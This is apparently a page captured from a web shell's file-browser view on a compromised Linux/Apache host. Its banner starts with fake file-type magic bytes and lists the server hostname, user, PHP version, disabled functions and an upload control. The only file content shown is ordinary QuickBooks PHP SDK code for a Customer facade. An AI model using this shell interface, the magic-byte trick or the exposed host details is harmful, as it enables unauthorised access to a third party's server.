%PDF- %GIF98; %PNG;
Server : ApacheSystem : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64 User : addictionfreeind ( 1003) PHP Version : 7.2.34 Disable Function : exec,passthru,shell_exec,system Directory : /home/addictionfreeind/www/admin1/vendor/quickbooks/v3-php-sdk/src/Facades/ |
Upload File : |
<?php
namespace QuickBooksOnline\API\Facades;
class Customer{
public static function create(array $data, $throwException = TRUE){
if(!isset($data) || empty($data)) throw new \Exception("Passed array for creating Customer is Empty");
$CustomerObject = FacadeHelper::reflectArrayToObject("Customer", $data, $throwException );
return $CustomerObject;
}
/**
* This is an immutable function
*/
public static function update($objToUpdate, array $data){
$classOfObj = get_class($objToUpdate);
if(strcmp($classOfObj, FacadeHelper::simpleAppendClassNameSpace("Customer")) != 0){
throw new \Exception("Target object class:{" . $classOfObj . "} is not an instance of Customer.");
}
$newCustomerObj = Customer::create($data);
$clonedOfObj = FacadeHelper::cloneObj($objToUpdate);
FacadeHelper::mergeObj($clonedOfObj, $newCustomerObj);
return $clonedOfObj;
}
}